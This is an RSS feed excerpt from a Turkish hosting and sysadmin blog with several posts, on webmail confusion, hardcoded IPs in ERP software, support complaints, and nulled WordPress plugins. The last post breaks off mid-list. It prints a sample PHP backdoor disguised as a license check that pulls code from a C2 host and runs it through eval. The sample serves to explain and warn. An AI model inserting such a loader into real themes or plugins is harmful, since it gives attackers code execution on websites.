<p>Mehmet Bey'in zihninde <strong>"E-posta"</strong>, bilgisayarın monitöründe beliren o tanıdık dikdörtgen kutudan ibarettir. O kutunun arkasında IMAP/POP3 protokollerinin koştuğunu, TCP 993 portundan SSL el sıkışması yapıldığını, yerel PST dosyasının bilgisayarın <code>C:\Users\AppData</code> dizininde yaşadığını bilmez ve bilmek de istemez. Onun için monitördeki piksel dizilimi bozulmuşsa, suç kesinlikle "sunucuyu yöneten çocuklardadır."</p>
<h3>Sarı Klasörler Nereye Kayboldu?</h3>
<p>Krizin ikinci perdesi, patronun o kutsal "sarı klasörleri" arayışıyla başlar.</p>
<p>Kullanıcı yıllar önce bilgisayarına Outlook kurulurken POP3 protokolüyle yapılandırılmıştır. POP3 mantığında kullanıcı Outlook içinde sol tarafta "Yerel Klasörler" (Personal Folders / PST) altında yüzlerce alt klasör oluşturur. Gelen mailleri sürükleyip bu sarı klasörlerin içine atar. Bu klasörler <strong>asla sunucuya gitmez</strong>; kullanıcının yerel sabit diskindeki tek bir <code>.pst</code> dosyasının içinde saklanır.</p>
<p>Patron webmail'i açtığında sunucunun gerçek, çıplak halini görmektedir: Sadece <code>INBOX</code> (Gelen Kutusu), <code>Sent</code> (Gönderilenler) ve <code>Trash</code> (Çöp Kutusu). Yıllardır bilgisayarının yerel diskinde biriktirdiği yüzlerce dosya webmail'de yoktur.</p>
<p>Bunu gören patronun gözünde sunucu arızası tescillenmiştir: <em>"Gördünüz mü? Klasörlerimi silmişsiniz! Bütün arşivim yok olmuş!"</em></p>
<p>Destek mühendisi uzaktan bağlantı (AnyDesk / TeamViewer) ile patronun masaüstüne bağlanır. Başlat menüsünden <code>outlook.exe</code>yi bulup tıklar. Masaüstüne o kayıp mavi kısayolu yeniden atar. Outlook açılır; patronun gözünün önünde o kutsal sarı klasörler, kalın puntolu okunmamış iletiler ve tanıdık Microsoft arayüzü belirir.</p>
<p>Patronun tepkisi asla bir teşekkür olmaz: <em>"Hah şöyle! Uğraştırmayın insanı. Bir ayar yapıyorsunuz, yarım saat işimizi aksatıyorsunuz."</em></p>
<h3>Teknoloji Okuryazarlığı ve İletişim Stratejisi</h3>
<p>Bu trajikomik vaka, yazılım geliştiricilere ve altyapı mühendislerine çok temel bir gerçeği hatırlatır: <strong>Kullanıcı için arayüz (UI), sistemin kendisidir.</strong> Kullanıcı arayüzün arkasındaki mimariyi, veri tabanını, sunucu kümesini veya DNS yönlendirmesini görmez. Gördüğü camın üzerindeki buton yer değiştirdiyse, onun dünyasında dünya dönmeyi bırakmıştır.</p>
<p>Bu tür krizleri yönetmek ve teknik ekiplerin akıl sağlığını korumak için kurumsal altyapılarda şu ilkeler uygulanmalıdır:</p>
<ol>
<li><strong>İstemci Standardizasyonu:</strong> Şirket bilgisayarlarında kullanıcının masaüstü ikonlarını silemeyeceği kısıtlı kullanıcı (non-admin) politikaları uygulamak.</li>
<li><strong>Webmail Arayüzünü Özelleştirme:</strong> Kurumsal webmail giriş ekranına açıkça <em>"Bu arayüz web tabanlı erişim içindir; Outlook masaüstü uygulamanızdan bağımsızdır"</em> ibaresini koymak.</li>
<li><strong>IMAP'e Kesin Geçiş:</strong> Kullanıcıları yerel PST bağımlılığından kurtarıp tüm klasör yapısını sunucu üzerinde tutan IMAP veya Exchange protokollerine geçirmek. Böylece webmail'e girildiğinde de o sarı klasörlerin eksiksiz görünmesini sağlamak.</li>
<li><strong>Empati ve Triage:</strong> Destek masasında çalışan mühendislerin, kullanıcının bu öfkesinin ardındaki "çaresizlik ve kontrol kaybı korkusunu" okuyabilmesi.</li>
</ol>
<p>Kırık gözlüğüyle hastanenin tavanını yamuk gören hastayı ameliyata almazsınız; gözlüğü düzeltirsiniz. Webmail'i görüp Outlook'unu geri isteyen şirket patronuna da OSI referans modelini anlatmanın bir faydası yoktur. Başlat menüsüne girip mavi ikonu masaüstüne bırakmak, bazen en karmaşık dağıtık sistem mimarisinden daha büyük bir mühendislik başarısıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Webmail</category>
            <category>Outlook</category>
            <category>Sistem Yönetimi</category>
            <category>Müşteri Desteği</category>
            <category>Teknoloji Okuryazarlığı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/webmail-arayuzunu-outlook-sanan-geleneksel-sirket-patronu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sunucu IP Adresinin Değişmesi" ve Şirket İçi Muhasebe Programlarının Çökmesi]]></title>
            <link>http://localhost:3000/blog/post/sunucu-ip-adresinin-degismesi-ve-sirket-ici-muhasebe-programlarinin-cokmesi</link>
            <guid>sunucu-ip-adresinin-degismesi-ve-sirket-ici-muhasebe-programlarinin-cokmesi</guid>
            <pubDate>Sat, 04 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Veri merkezinin IP bloğunu güncellemesi veya sunucu göçü sonrası, yıllar önce masaüstü ERP ve muhasebe yazılımlarının ayar dosyalarına doğrudan elle gömülmüş (hardcoded) statik IP adresleri yüzünden tüm şirketin fatura kesemez hale gelmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucu-ip-adresinin-degismesi-ve-sirket-ici-muhasebe-programlarinin-cokmesi/thumbnail" alt=""> Damar cerrahisinde bir arter grefti veya bypass yaparken cerrahın en çok dikkat ettiği şey doku esnekliğidir. Nakledilen damar ucu, komşu dokuların hareketine uyum sağlayacak esnek bir yaklaşımla dikilmelidir. Eğer dikkatsiz bir cerrah greftin ucunu hareketli bir kas dokusu yerine esnemeyen sert bir kıkırdağa veya kemik periostuna doğrudan, körlemesine zımbalarsa (rijit fiksasyon) felaket kaçınılmazdır. Hasta bacağını ilk büktüğünde o rijit dikiş dokuyu yırtar; damar lümeni tıkanır, bacağın distal kısmına kan akışı anında kesilir ve hasta akut iskemi ve kompartman sendromuyla acil masasına geri döner.</p>
<p>Yazılım mimarisi ve kurumsal ağ altyapılarında da FQDN (tam alan adı) ve DNS soyutlaması yerine kaynak kodun veya yapılandırma dosyalarının içine doğrudan çıplak IPv4 adresi gömmek (<strong>hardcoding</strong>), tam olarak bu cerrahi körlüğün dijital kopyasıdır.</p>
<h3>Gece Yarısı Rutin Taşıma, Sabah Başlayan Deprem</h3>
<p>Hafta sonu veri merkezi operasyon ekibi son derece haklı ve teknik olarak kusursuz bir planlama yapar: Eski nesil kabinetlerdeki sunucular, yeni nesil DDoS korumalı ve 100G uplink bağlantılı modern sunucu bloklarına taşınacaktır. BGP anonsları güncellenir, yeni IP blokları devreye alınır, eski sunucunun imajı yeni donanıma kopyalanır.</p>
<p>Tüm alan adlarının DNS A kayıtları erkenden güncellenmiştir: <code>api.sirketadi.com.tr</code> ve <code>db.sirketadi.com.tr</code> kayıtları yeni IP adresi olan <code>198.51.100.50</code> adresine yönlendirilmiştir. TTL (Time to Live) süreleri günler öncesinden 300 saniyeye indirilmiştir. Web sitesi tıkır tıkır açılmaktadır, kurumsal e-postalar kesintisiz akmaktadır. Sistem yöneticisi sabaha karşı 04:00'te kahvesini yudumlayarak operasyonu "sıfır kesintiyle başarıyla tamamlandı" notuyla kapatır.</p>
<p>Fakat pazartesi sabahı saat 08:35'te şirketin genel merkezinde hayat durur.</p>
<p>Muhasebe departmanı, fatura kesim masaları, sevkiyat ambarları ve fabrika çıkış kapıları birbirine girmiştir. Kamyonlar fabrika kapısında beklemekte, e-fatura entegratörüne bağlanamayan masaüstü muhasebe/ERP programı (Logo, Mikro, Netsis vb.) ekrana buz gibi bir hata basmaktadır:</p>
<pre><code class="language-text">HATA: 185.120.45.12:1433 adresindeki veritabanı sunucusuna bağlanılamadı.
Bağlantı zaman aşımına uğradı (Error Code: 0x80004005).
</code></pre>
<h3>Hardcoded Laneti: 2014 Yılından Kalan İtiraf</h3>
<p>Şirketin genel müdür yardımcısı küplere binmiş durumdadır: <em>"Hafta sonu hiçbir şeye dokunmayın demedik mi! Bütün fatura sistemi kilitlendi, fabrikanın sevkiyatı durdu! Hemen o eski sunucuyu geri getirin!"</em></p>
<p>Sistem yöneticisi şaşkındır: <em>"Ahmet Bey, DNS kayıtları güncellendi, yeni sunucu ayakta, web siteniz ve veritabanı çalışıyor. Programınız neden hâlâ eski IP'ye gitmeye çalışıyor?"</em></p>
<p>Cevap, şirketin bilgi işlem odasındaki eski bir klasörde veya 2014 yılında o ERP programını kuran serbest danışmanın bıraktığı bir <code>.ini</code> dosyasında gizlidir:</p>
<pre><code class="language-ini">[Database_Connection]
Server_Host=185.120.45.12
Database_Name=Firma2026_ERP
Port=1433
Timeout=30
</code></pre>
<p>On iki yıl önce programı kuran teknisyen, alan adı yazmaya üşenmiş veya yerel DNS çözümlemesinde ufak bir gecikme yaşamamak için ayar dosyasındaki <code>Server_Host</code> parametresine doğrudan sunucunun o günkü fiziksel IP adresini elle yazmıştır. Hatta felaket daha da derindedir: Şirketteki 60 farklı muhasebe ve satış terminalinin her birinin yerel <code>C:\Program Files\</code> dizinindeki dosyalara bu IP tek tek, elle gömülmüştür!</p>
<p>Yetmemiş, bazı özel DLL dosyalarının kaynak kodunun içine (hardcoded string) derlenmiş olarak gömüldüğü ortaya çıkar. DNS dünyanın en esnek ve dinamik adres defteriyken, o yazılım doğrudan kör bir hedefe kilitlenmiş bir güdümlü mermi gibi artık var olmayan, boşa çıkmış bir IP adresini dövmektedir.</p>
<h3>Akut Müdahale: Geçici Arter Şantı (Proxy / NAT Hilesi)</h3>
<p>60 bilgisayarı tek tek dolaşıp dosya düzenlemek saatler alacaktır ve her saniye fabrikanın zarar hanesine yazılmaktadır. Cerrahın kopan damarı hemen dikemediği anlarda araya geçici plastik bir tüp (şant) yerleştirip organa kan akışını sağlaması gibi, sistem yöneticisi de ağ seviyesinde acil bir cerrahi şant kurmak zorundadır:</p>
<ol>
<li><strong>Eski IP'ye Geçici Routing:</strong> Eğer eski IP bloğu hâlâ veri merkezinde duruyorsa, router üzerinde eski IP'den gelen 1433 (MSSQL) veya 3306 (MySQL) trafiğini <code>iptables</code> / <code>nftables</code> port forwarding (DNAT) ile anında yeni sunucunun IP'sine tünellemek:
<pre><code class="language-bash">iptables -t nat -A PREROUTING -p tcp -d 185.120.45.12 --dport 1433 \
-j DNAT --to-destination 198.51.100.50:1433
iptables -t nat -A POSTROUTING -p tcp -d 198.51.100.50 --dport 1433 \
-j MASQUERADE
</code></pre>
</li>
<li><strong>Yerel Ağ Hosts / Active Directory GPO:</strong> Eğer eski IP tamamen boşa düşmüş ve anons edilemiyorsa, şirket içindeki domain controller üzerinden Active Directory Group Policy (GPO) basarak tüm terminallerin <code>C:\Windows\System32\drivers\etc\hosts</code> dosyasını veya yerel DNS yönlendirmesini tek bir scriptle merkezi olarak güncellemek.</li>
</ol>
<p>Kamyonların motorları yeniden çalışır, faturalar basılmaya başlar; kriz yatışır ama altyapının ne kadar kırılgan bir ip üstünde yürüdüğü acı bir tokat gibi yüzlere çarpar.</p>
<h3>Dinamik Dünyada Statik İnatlaşmanın Faturası</h3>
<p>Bir yazılım mimarisinde değişmesi kaçınılmaz olan fiziksel donanım katmanını doğrudan mantıksal katmana bağlamak, mühendislik etiğine ihanettir. IP adresleri tıpkı ev adresleri gibi değişebilir; veri merkezleri taşınabilir, fiber hatlar kesilebilir, felaket kurtarma senaryosunda (Disaster Recovery) sistemler ikincil lokasyondaki farklı bir IP bloğuna aktarılabilir.</p>
<p>Profesyonel kurumsal mimaride hardcoding alışkanlığını terk etmenin kuralları basittir:</p>
<ul>
<li><strong>Asla Ham IP Kullanmayın:</strong> İstemcilerin ve harici servislerin bağlandığı hiçbir konfigürasyon dosyasına çıplak IP yazılmamalıdır. Her zaman <code>sql.ic-ag.sirketadi.com.tr</code> gibi iyi planlanmış FQDN'ler kullanılmalıdır.</li>
<li><strong>Service Discovery ve DNS:</strong> İç ağda daima yerel bir DNS sunucusu (Bind, CoreDNS, Unbound) veya modern mimarilerde Consul, Etcd gibi dinamik servis keşif araçları barındırılmalıdır.</li>
<li><strong>Konfigürasyon Yönetimi (Configuration Management):</strong> 60 farklı bilgisayara elle kurulum yapmak yerine Ansible, Puppet veya Active Directory politikalarıyla ayar dosyaları merkezi bir depodan dağıtılmalıdır.</li>
<li><strong>Mimari Kod İncelemesi (Linting):</strong> Kaynak kodlar derlenmeden önce CI/CD süreçlerinde statik kod analiz araçlarıyla taranmalı, kod içine doğrudan gömülmüş IPv4/IPv6 regex eşleşmeleri tespit edildiğinde derleme işlemi anında kırılmalıdır.</li>
</ul>
<p>Dinamik bir dünyada sabit yapılara güvenmek, temeli olmayan bataklığın üzerine çimento döküp gökdelen dikmeye benzer. Sunucu IP'si değiştiğinde çöken bir muhasebe yazılımı, teknoloji ürünü değil; ihmaller zincirinin saatli bombasıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>DNS</category>
            <category>Hardcoded IP</category>
            <category>ERP</category>
            <category>Ağ Yönetimi</category>
            <category>Yazılım Mimarisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucu-ip-adresinin-degismesi-ve-sirket-ici-muhasebe-programlarinin-cokmesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Gece 02:00'de Destek Masasına Telefondan Ulaşılamayınca Açılan Şikayet Var Başlığı"]]></title>
            <link>http://localhost:3000/blog/post/gece-0200de-destek-masasina-telefondan-ulasilamayinca-acilan-sikayet-var-basligi</link>
            <guid>gece-0200de-destek-masasina-telefondan-ulasilamayinca-acilan-sikayet-var-basligi</guid>
            <pubDate>Fri, 03 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yıllık 150 TL ödediği standart paylaşımlı pakette 7/24 telefonla birebir destek garantisi olmamasına rağmen, gece yarısı telesekretere düşünce soluğu forumlarda ve şikayet platformlarında alan müşteri profili ve dijital itibar şantajı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/gece-0200de-destek-masasina-telefondan-ulasilamayinca-acilan-sikayet-var-basligi/thumbnail" alt=""> Gecenin körü, saat 02:40. Bir ilçe devlet hastanesinin acil servisindeki kırmızı alanda alarm sesleri birbirine karışmaktadır. Trafik kazasından getirilmiş çoklu travmalı bir hastaya göğüs tüpü takılmakta, hekimler ve hemşireler bir insanın nabzını hayatta tutabilmek için kan ter içinde kalp masajı yapmaktadır. Tam o sırada triyaj kapısı tekmelenerek açılır. İçeri giren genç bir adam bağırmaya başlar:</p>
<p><em>"Bakar mısınız! Yarım saattir dışarıda bekliyorum, kimse yüzüme bakmıyor! Dün akşamdan beri sol ayak başparmağımın kenarında ufak bir kaşıntı var, uykumu böldü! Bu nasıl devlet hastanesi? Nerede bu doktorlar? Hepinizi CİMER'e yazacağım, Twitter'dan rezil edeceğim sizi, Sağlık Bakanlığı'na şikayet edeceğim!"</em></p>
<p>Resüsitasyon odasındaki hekim başını kaldırıp hastaya bakar; durumun vahameti ile talebin absürtlüğü arasındaki uçurum karşısında nutku tutulur. Acil servis triyajında kırmızı, sarı ve yeşil alan vardır. Herkesin eşit oranda ilgi beklediği ama kaynakların hayati önceliklere göre dağıtıldığı bir ekosistemdir burası.</p>
<p>Bilişim altyapılarında, özellikle internet servis sağlayıcıları ve hosting şirketlerinde haftanın yedi günü yaşanan dijital linç mekanizması, bu acil servis sahnesinin tıpatıp aynısıdır.</p>
<h3>Gece 02:15: Kutsal Telefon Çalıyor</h3>
<p>Karakterimiz, yılda 150 TL (ayda 12.5 TL) ödeyerek satın aldığı standart bir başlangıç hosting paketine sahiptir. Sitede günde ortalama 3 tekil ziyaretçi gezmektedir. Gece yarısı saat 02:00'de canı sıkılır, WordPress paneline girip rastgele 5 yeni eklenti kurar. Eklentilerden biri fatal error verir ve sitede beyaz ekran belirir.</p>
<p>Kullanıcı panikler. Hemen hosting firmasının web sitesindeki "0850"li genel merkez numarasını arar. Santral kibar bir ses tonuyla devreye girer:</p>
<blockquote>
<p><em>"Mesai saatlerimiz hafta içi 09:00 - 18:00 arasındadır. 7/24 acil teknik destek için lütfen müşteri panelinizden destek bileti (ticket) oluşturunuz. Nöbetçi sistem mühendislerimiz talebinizi en kısa sürede yanıtlayacaktır."</em></p>
</blockquote>
<p>Telefon kullanıcının yüzüne kapanır. O an kullanıcının beyninde mantık devreleri tamamen yanar. Sözleşmesinde (SLA - Service Level Agreement) açıkça "Telefon Desteği: Sadece Mesai Saatleri" yazdığını, ayda 12.5 liraya gecenin ikisinde telefon operatörü istihdam etmenin matematiksel ve insani olarak imkânsız olduğunu kabul etmez.</p>
<p>Onun zihninde tek bir düşünce vardır: <em>"Ben müşteriyim, paramı verdim, bana derhal sesli muhatap bulacaksınız!"</em></p>
<h3>İntikam Platformları ve Klavyeden Akan Zehir</h3>
<p>Telefonla ulaşamayan kullanıcımız destek paneline girip bilet açmaya bile tenezzül etmez. Çünkü bilet açarsa sorun 10 dakika içinde nöbetçi sistemci tarafından çözülecektir; oysa onun istediği şey bir çözüm değil, egosunun okşanmasıdır.</p>
<p>Saat 02:22'de Şikayetvar, R10, DonanımHaber veya Ekşi Sözlük sekmeleri açılır. Başlık büyük harflerle atılır:</p>
<blockquote>
<p><strong>"X HOSTING REZALETİ! SAKIN BULAŞMAYIN! DOLANDIRICI BUNLAR!"</strong></p>
</blockquote>
<p>Yazının içeriği ise baştan sona bir trajedi manifestosudur:</p>
<blockquote>
<p><em>"Yıllardır bu firmayla çalışıyordum (aslında 3 ay önce almış). Bu gece sitem tamamen çöktü, ticaretim durdu, binlerce lira zararım var! Gece saat ikiden beri firmayı arıyorum, kimse telefona bakmıyor, telefonları yüzüme kapatıyorlar! Müşterilerini yarı yolda bırakan, arkasında durmayan rezil bir firma. Sabah ilk iş savcılığa gideceğim, hakkımı helal etmiyorum!"</em></p>
</blockquote>
<p>Metin yayına alınır. Arama motorlarının indeksleme botları başlığı dakikalar içinde kapar. Firmanın marka adının yanına "dolandırıcı", "rezalet", "çöktü" gibi anahtar kelimeler mıh gibi çakılır.</p>
<h3>Sabah 09:00: Nöbet Değişimi ve Gerçeklerle Yüzleşme</h3>
<p>Sabah mesaisi başladığında destek ekibi gelen bu karalama kampanyasını fark eder. Müşterinin hesap geçmişine bakılır:</p>
<ol>
<li>Sunucularda son 365 günde %99.98 uptime vardır; sunucu bir saniye bile kesilmemiştir.</li>
<li>Kullanıcının sitesi, gece 02:08'de kurduğu uyumsuz bir slider eklentisi yüzünden PHP Memory Limit hatasına düşmüştür.</li>
<li>Kullanıcı müşteri panelinden tek bir destek bileti açmamıştır.</li>
<li>Nöbetçi gece mühendisi o sırada veri merkezinde fiber kesintisiyle uğraşan kurumsal müşterilerin biletlerine yanıt vermektedir.</li>
</ol>
<p>Destek mühendisi müşterinin sitesindeki hatalı eklentiyi FTP'den pasife alır; site 5 saniyede geri gelir. Ardından müşteriyi telefonla arar:</p>
<p><em>"Mehmet Bey merhaba, gece sitenizde yaşanan sorun kurduğunuz eklentiden kaynaklanıyordu, düzelttik. Ancak keşke bize bir destek bileti bıraksaydınız; nöbetçi arkadaşımız gece yarısı 5 dakika içinde çözerdi. Neden hakkımızda asılsız iddialarla şikayet başlığı açtınız?"</em></p>
<p>Müşterinin cevabı genellikle pişkinliğin zirvesidir:</p>
<blockquote>
<p><em>"E ne yapayım kardeşim, telefona baksaydınız! Ben gece biletle mi uğraşacağım? Mecbur kaldım yazmaya, bakın hemen aradınız işte! Şikayeti silerim ama bana 1 yıllık hostingi bedava uzatırsanız..."</em></p>
</blockquote>
<p>İşte bu nokta, teknik desteğin bittiği ve organize bir dijital itibar şantajının başladığı sınırdır.</p>
<h3>Hizmet Seviyesi Sözleşmesi (SLA) ve Maliyet Gerçekliği</h3>
<p>Bilişim sektöründe müşterinin ödediği ücret ile talep ettiği SLA arasındaki dengesizlik en büyük kronik yaradır. Bir işletmenin 7/24 kesintisiz telefon desteği sunabilmesi için vardiyalı çalışan en az 6-8 kişilik uzman çağrı merkezi ekibi, santral lisansları ve gece vardiyası primleri gerekir. Bu operasyonun aylık maliyeti yüz binlerce liradır.</p>
<p>Bunu finanse edebilmek için kurumsal SLA paketlerinin aylık bedeli 500 ila 2.000 dolar arasında değişir. Bu paketi alan kurumsal holding, gece saat 03:00'te doğrudan kıdemli ağ mühendisine telefonla ulaşır; çünkü parasını kuruşu kuruşuna ödemiştir.</p>
<p>Oysa paylaşımlı başlangıç paketlerinde telefon değil, <strong>asenkron ticket (bilet) desteği</strong> verilir. Yazılı destek en verimli yöntemdir; çünkü sistem mühendisi log kayıtlarını, hata mesajlarını ve kod satırlarını telefonla dinleyerek değil, terminalde okuyarak analiz eder.</p>
<h3>İtibar Yönetimi ve Hukuki Refleks</h3>
<p>Acil serviste doktorun boğazına sarılan şahsa nasıl beyaz kod verilip adli işlem başlatılıyorsa, hosting sektöründe de asılsız iddialarla markayı karalayan ve şantajla bedava hizmet koparmaya çalışan profile karşı kurumsal bir sınır çizilmelidir:</p>
<ul>
<li><strong>Net ve Şeffaf SLA:</strong> Satış sayfasında "Telefon desteği sadece mesai saatlerindedir, gece desteği sadece bilet üzerinden yürütülür" ibaresi kalın harflerle belirtilmelidir.</li>
<li><strong>Şantaja Boyun Eğmeme:</strong> "Şikayeti kaldırmam için bana indirim yapın" diyen kullanıcının hesabı derhal yedekleri verilerek feshedilmeli (hizmet iptali) ve sözleşmesi tek taraflı sonlandırılmalıdır.</li>
<li><strong>Hukuki Süreç:</strong> Ticari itibarı zedeleyen, gerçeğe aykırı ifadeler içeren platform içerikleri için noter tespiti yaptırılıp 5651 sayılı kanun kapsamında içerik kaldırma ve tazminat süreçleri işletilmelidir.</li>
</ul>
<p>Ayda bir paket bisküvi parasına hizmet alıp gece yarısı kapıda özel uşak bekleyen bir anlayış, sektöre katma değer sağlamaz; sadece mühendislerin mesleki hevesini tüketir. Tıpta nasıl aciliyet önceliği varsa, mühendislikte de kurallar ve sözleşmeler esastır. Gecenin ikisinde telefona bakılmadı diye dünyayı ayağa kaldırmak bir müşteri hakkı değil, dijital görgüsüzlüğün dışavurumudur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Müşteri Hizmetleri</category>
            <category>SLA</category>
            <category>Hosting</category>
            <category>Kriz Yönetimi</category>
            <category>Teknoloji Etiği</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/gece-0200de-destek-masasina-telefondan-ulasilamayinca-acilan-sikayet-var-basligi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Siteme Virüs Bulaştı, Temizleyin": Nulled Eklenti Enfeksiyonu ve Hosting Firmasını Antivirüs Sanma Sanrısı]]></title>
            <link>http://localhost:3000/blog/post/siteme-virus-bulasti-temizleyin-nulled-eklenti-enfeksiyonu-ve-hosting-firmasini-antivirus-sanma-sanrisi</link>
            <guid>siteme-virus-bulasti-temizleyin-nulled-eklenti-enfeksiyonu-ve-hosting-firmasini-antivirus-sanma-sanrisi</guid>
            <pubDate>Thu, 02 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[59 dolarlık WordPress temasını Rus warez forumundan indirip sunucusuna webshell enjekte eden müşterinin, hosting firmasına "Virüsleri temizleyin, aylık 40 lira ödüyorum" diye feryat etmesi üzerine bir sorumluluk ve altyapı triyajı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/siteme-virus-bulasti-temizleyin-nulled-eklenti-enfeksiyonu-ve-hosting-firmasini-antivirus-sanma-sanrisi/thumbnail" alt=""> Acil servise elinde paslı bir çiviyle gelip, "Ben bu çiviyi bilerek topuğuma çaktım ama siz şimdi neden kanı durduramıyorsunuz ve ayakkabımın derisini parlatmıyorsunuz?" diye bağıran bir hasta hayal edin. Triyaj hekimi tetanos aşısını hazırlar, yarayı debride eder, antibiyotik protokolünü açar; fakat hastanın derdi enfeksiyonla mücadele etmek değil, çivinin batmasına sebep olan eyleminin faturasını acil servis personeline kesmektir.</p>
<p>Web hosting ve altyapı sektöründe her gün saat 14:00 ile 17:00 arasında nöbetçi sistem mühendislerinin önüne düşen yüksek öncelikli destek biletlerinin yarısı tam olarak bu klinik tablonun dijital kopyasıdır:</p>
<blockquote>
<p><em>"Siteme virüs bulaşmış! Google Chrome kırmızı ekran veriyor, sitem 'Tehlikeli Site' diye engellendi! Acil temizleyin, ben size her ay 45 TL hosting parası ödüyorum, sizin göreviniz sitemi korumak değil mi? Eğer 1 saat içinde açılmazsa CİMER'e ve Tüketici Hakem Heyeti'ne şikayet edeceğim!"</em></p>
</blockquote>
<p>Bu feryadın arka planında yatan gerçeklik nadiren karmaşık bir sıfır gün (zero-day) istismarı veya devlet destekli APT saldırısıdır. Vakaların %98'inde operasyon odasındaki adli bilişim incelemesi şu yalın tabloyu ortaya çıkarır: Müşteri, Envato veya ThemeForest üzerinde 59 dolara satılan popüler bir e-ticaret temasını ya da WooCommerce eklentisini satın almamak için arama motoruna <code>"wp-rocket latest version free download nulled"</code> yazmış, Rus veya Vietnam menşeli bir warez forumundan indirdiği ZIP dosyasını <code>wp-content/plugins/</code> dizinine FTP ile yüklemiş ve aktivasyon butonuna basmıştır.</p>
<p>Sonuç: 3 katmanlı <code>base64_decode(gzinflate(str_rot13(...)))</code> ile gizlenmiş bir PHP webshell, WordPress veritabanı bağlantı bilgilerini ele geçirmiş, <code>index.php</code> ve <code>wp-config.php</code> dosyalarının tepesine spam reklam enjeksiyonu yapmış, sunucunun saatte 10.000 adet phishing e-postası atmasına yol açmış ve sitenin tüm ziyaretçilerini sahte bahis platformlarına yönlendirmeye başlamıştır.</p>
<p>Ve bu tablonun faturası, müşterinin zihninde hosting firmasına aittir. Çünkü Türkiye'deki genel dijital algıda hosting firması bir "sunucu kiralama ve barındırma sağlayıcısı" değil, müşterinin her türlü cehaletini ücretsiz temizlemekle yükümlü bir "dijital temizlik şirketi ve kişisel antivirüs koruması" olarak kodlanmıştır.</p>
<hr>
<h3>Arsa Sahibi ile Müteahhit Paradoksu: Sorumluluk Sınırları Nerede Biter?</h3>
<p>Hosting sektörünün en büyük pedagojik krizi, "Altyapı (IaaS/PaaS)" ile "Uygulama Katmanı (Application Layer)" arasındaki ayrımın müşteriye asla anlatılamamış olmasıdır.</p>
<p>Basit bir gayrimenkul analojisi kuralım:<br>
Bir hosting sağlayıcısından paylaşımlı hosting veya sanal sunucu (VDS) satın aldığınızda, aslında dijital bir siteden güvenli, elektrik ve su tesisatı hazır, dış kapısında güvenlik görevlisi bulunan bir arsa veya boş bir daire kiralarsınız.</p>
<ul>
<li><strong>Hosting Sağlayıcısının Görevi:</strong> Binanın ana taşıyıcı kolonlarını sağlam tutmak (Donanım sağlığı), binanın elektrik ve internet hattını kesintisiz beslemek (Şebeke/Bant genişliği), komşu dairelerin birbirinin kapısını kırmasını engellemek (CloudLinux CageFS, sanallaştırma izolasyonu) ve binanın ana giriş kapısını korumaktır (Firewall, DDoS koruması).</li>
<li><strong>Müşterinin Görevi:</strong> Kiraladığı dairenin içine aldığı mobilyaların, daire kapısının kilidinin ve içeriye davet ettiği misafirlerin güvenliğini sağlamaktır.</li>
</ul>
<p>Müşteri kendi dairesinin kapısını sonuna kadar açıp, kapının üzerine "İçeride değerli eşyalar var, anahtar paspasın altında" yazan bir tabela asar (Nulled eklenti yüklemek, 777 dosya izinleri vermek, <code>admin</code> kullanıcısına <code>123456</code> şifresi koymak). Hırsızlar içeri girip daireyi soyduğunda ve oturma odasında sahte para basmaya başladığında, müşteri site yönetimine koşup "Siz ne biçim güvenliksiniz, benim salonumu hırsızlar kirletti, gelin koltuklarımı deterjanla silin ve çalınan televizyonumu bulun!" diye hesap soramaz.</p>
<p>Fakat hosting destek panelinde sorar. Çünkü 45 liralık hosting faturasının arkasında sınırsız bir kölelik sözleşmesi satın aldığını varsaymaktadır.</p>
<hr>
<h3>Nulled Kodun Anatomisi: "Bedava Peynir Sadece Kapanında Olur"</h3>
<p>Peki warez sitelerinden indirilen o "ücretsiz" temaların içinde gerçekte ne vardır? Hiç kimse 6 ay boyunca emek verip kodladığı 60 dolarlık bir eklentiyi babasının hayrına kırıp (nulling) internete bedava dağıtmaz.</p>
<p>Tipik bir <code>functions.php</code> veya eklenti ana çekirdeğinde karşılaşılan kod bloğu genellikle şu yapıdadır:</p>
<pre><code class="language-php">&#x3C;?php
// Silenced execution - Gizlenmiş Truva Atı Enjeksiyonu
if (!function_exists('__theme_license_verify_core')) {
    function __theme_license_verify_core() {
        $remote_payload_url = "https://cdn-update-auth-gateway[.]top/payload.txt";
        $cache_file = sys_get_temp_dir() . '/.sess_auth_cache_lock';
        
        // 24 saatte bir komuta kontrol (C2) sunucusundan güncel webshell payload'ı çek
        if (!file_exists($cache_file) || (time() - filemtime($cache_file) > 86400)) {
            $ctx = stream_context_create(['http' => ['timeout' => 5]]);
            $raw_code = @file_get_contents($remote_payload_url, false, $ctx);
            if ($raw_code) {
                @file_put_contents($cache_file, $raw_code);
            }
        }
        
        if (file_exists($cache_file)) {
            $payload = @file_get_contents($cache_file);
            // eval injection zinciri
            if (!empty($payload)) {
                @eval(gzinflate(base64_decode($payload)));
            }
        }
    }
    add_action('init', '__theme_license_verify_core');
}
</code></pre>
<p>Bu kod parçası ilk gün hiçbir zararlı davranış sergilemez. Site sahibi temayı kurar, demo içeriği içe aktarır, renkleri ayarlar ve "Bak ne güzel çalışıyor, 60 dolar vermekten kurtuldum, hostingçiye de para kaptırmadım" diyerek sevinir.</p>
<p>Ancak kuluçka dönemi sona erdiğinde:</p>
<ol>
<li><strong>Dinamik Backdoor İndirme:</strong> C2 sunucusu aktifleşir ve sistemin içine WSO WebShell veya Alfa Team Shell türevi tam yetkili bir dosya yöneticisi bırakır.</li>
